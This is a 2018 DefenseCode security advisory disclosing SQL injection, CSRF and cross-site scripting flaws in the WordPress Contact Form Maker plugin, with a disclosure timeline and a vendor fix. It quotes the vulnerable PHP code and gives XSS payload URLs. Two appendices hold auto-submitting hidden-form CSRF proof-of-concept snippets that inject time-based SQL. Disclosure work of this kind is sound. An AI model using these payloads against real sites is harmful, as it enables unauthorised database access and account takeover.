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WordPress Contact Form Maker 1.12.20 XSS / CSRF / SQL Injection

WordPress Contact Form Maker 1.12.20 XSS / CSRF / SQL Injection
Posted Jun 7, 2018
Authored by DefenseCode, Neven Biruski

WordPress Contact Form Maker plugin versions 1.12.20 and below suffer from cross site scripting, cross site request forgery, and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection, csrf
MD5 | d08badfbc380bef4839f1e6faaf47b7e

WordPress Contact Form Maker 1.12.20 XSS / CSRF / SQL Injection

Change Mirror Download
DefenseCode ThunderScan SAST Advisory: WordPress Contact Form Maker
Plugin Multiple Security Vulnerabilities



Advisory ID: DC-2018-05-004
Advisory Title: WordPress Contact Form Maker Plugin Multiple
Vulnerabilities
Advisory URL: http://www.defensecode.com/advisories.php
Software: WordPress Contact Form Maker plugin
Language: PHP
Version: 1.12.20 and below
Vendor Status: Vendor contacted, update released
Release Date: 2018/06/07
Risk: High



1. General Overview
===================
During the security audit of Contact Form Maker plugin for WordPress
CMS, multiple vulnerabilities were discovered using DefenseCode
ThunderScan application source code security analysis platform.

More information about ThunderScan is available at URL:
http://www.defensecode.com


2. Software Overview
====================
According to the plugin developers, Contact Form Maker is a simple
form creator plugin, which allows the user with no knowledge of
programming to create and edit different type of responsive website
forms. The product is similar to the WordPress Form Maker using most
of its functionality, whereas there are also some differences.

According to wordpress.org, it has more than 60 000 active installs.
According to the developer's website, it was downloaded over million
times. The exact number of "premium" version installs remains
to be determined.

Homepage:
https://wordpress.org/plugins/contact-form-maker/
https://web-dorado.com/products/wordpress-contact-form-builder.html


3. Vulnerability Description
============================
During the security analysis, ThunderScan discovered SQL injection and
Cross-Site Scripting vulnerabilities in Contact Form Maker WordPress
plugin. The SQL injection points are susceptible to Cross Site Request
Forgery (CSRF).

The easiest way to reproduce the SQL injection vulnerabilities is to
open the presented HTML/JavaScript snippet in your browser while being
logged in as administrator or another user that is authorized to
access the plugin settings page. Users that do not have full
administrative privileges could abuse the database access the
vulnerabilities provide to either escalate their privileges or obtain
and modify database contents they were not supposed to be able to.
Since the injection points are also susceptible to CSRF (due to the
improper checking of the nonce token), a valid attack vector is also
to send a link to the administrator that leads to any attacker
controlled web page containing such or similar code snippet.

The Cross-Site Scripting vulnerabilities can enable the attacker to
construct the URL that contains malicious JavaScript code. If the
administrator of the site makes a request to such an URL, the
attacker's code will be executed, with unrestricted access to the
WordPress site in question. The attacker can entice the administrator
to visit the URL in various ways, including sending the URL by email,
posting it as a part of the comment on the vulnerable site or another
forum.

3.1 SQL injection
Vulnerable Function: get_results()
Vulnerable Variable: $_POST['name']
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin-ajax.php?action=FormMakerSQLMapping_fmc&task=db_table_struct
File: contact-form-maker/admin/models/FMSqlMapping.php
Proof of Concept: See Appendix #1
---------
81 $name = isset($_POST['name']) ? $_POST['name'] : NULL;
...
87 $query = "SHOW COLUMNS FROM " . $name;
...
94 $table_struct = $wpdb_temp->get_results($query);
---------

3.2 SQL injection
Vulnerable Function: get_col()
Vulnerable Variable: $_REQUEST['search_labels']
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin-ajax.php?form_id=1&send_header=0&action=generete_csv_fmc&limitstart=0
File: contact-form-maker/framework/WDW_FM_Library.php
Proof of Concept: See Appendix #2
---------
3951 $search_labels = isset($_REQUEST['search_labels']) ?
$_REQUEST['search_labels'] : '';
...
3984 $query = $wpdb->prepare("SELECT distinct group_id FROM " .
$wpdb->prefix . "formmaker_submits where form_id=%d and group_id IN("
. $search_labels . ")", $form_id);
3985 $group_id_s = $wpdb->get_col($query);
---------

3.3 Cross-Site Scripting
Vulnerable Function: echo()
Vulnerable Variable: $_REQUEST["active_tab"]
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=themes_fmc&task=edit&active_tab="><script>alert(42)</script>
File: form-maker/admin/views/Themes_fm.php
---------
192 $active_tab = isset($_REQUEST["active_tab"]) &&
$_REQUEST["active_tab"] ? $_REQUEST["active_tab"] : ($row->version ==
1 ? 'custom_css' : 'global');
...
199 <input type="hidden" name="active_tab" id="active_tab"
value="<?php echo $active_tab; ?>" />
---------

3.4 Cross-Site Scripting
Vulnerable Function: echo()
Vulnerable Variable: $_REQUEST["pagination"]
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=themes_fmc&task=edit&pagination="><script>alert(42)</script>
File: form-maker/admin/views/Themes_fm.php
---------
193 $pagination = isset($_REQUEST["pagination"]) ?
$_REQUEST["pagination"] : 'none';
...
308 <div class="pagination-type" ng-init="pagination='<?php echo
$pagination; ?>'">
---------


4. Solution
===========
After the vulnerabilities were reported the vendor resolved the
security issues. All users are strongly advised to update WordPress
Form Maker plugin to the latest available version.


5. Credits
==========
Discovered by Neven Biruski using DefenseCode ThunderScan source code
security analyzer.


6. Disclosure Timeline
======================
2018/05/18 Vulnerabilities discovered
2018/05/21 Vendor contacted
2018/06/07 Advisory released to the public


7. About DefenseCode
====================
DefenseCode L.L.C. delivers products and services designed to analyze
and test web, desktop and mobile applications for security
vulnerabilities.

DefenseCode ThunderScan is a SAST (Static Application Security
Testing, WhiteBox Testing) solution for performing extensive security
audits of application source code. ThunderScan SAST performs fast and
accurate analyses of large and complex source code projects delivering
precise results and low false positive rate.

DefenseCode WebScanner is a DAST (Dynamic Application Security
Testing, BlackBox Testing) solution for comprehensive security audits
of active web applications. WebScanner will test a website's security
by carrying out a large number of attacks using the most advanced
techniques, just as a real attacker would.

Subscribe for free software trial on our website
http://www.defensecode.com/ .

E-mail: defensecode[at]defensecode.com

Website: http://www.defensecode.com
Twitter: https://twitter.com/DefenseCode/


8. Appendix #1 - SQLi PoC snippet
=================================
<iframe style="display:none" name="invisible"></iframe>
<form id="form" method="POST"
action="http://vulnerablesite.com/wp-admin/admin-ajax.php?action=FormMakerSQLMapping_fmc&task=db_table_struct"
target="invisible">
<input type="hidden" name="name" value="wp_users WHERE 42=42
AND SLEEP(42)--;"/>
</form>
<script>
document.getElementById("form").submit();
sleep(3000);
</script>


9. Appendix #2 - SQLi PoC snippet
=================================
<iframe style="display:none" name="invisible"></iframe>
<form id="form" method="POST"
action="http://vulnerablesite.com/wp-admin/admin-ajax.php?form_id=1&send_header=0&action=generete_csv_fmc&limitstart=0"
target="invisible">
<input type="hidden" name="search_labels" value="(SELECT *
FROM (SELECT(SLEEP(42)))XXX)"/>
</form>
<script>
document.getElementById("form").submit();
sleep(3000);
</script>

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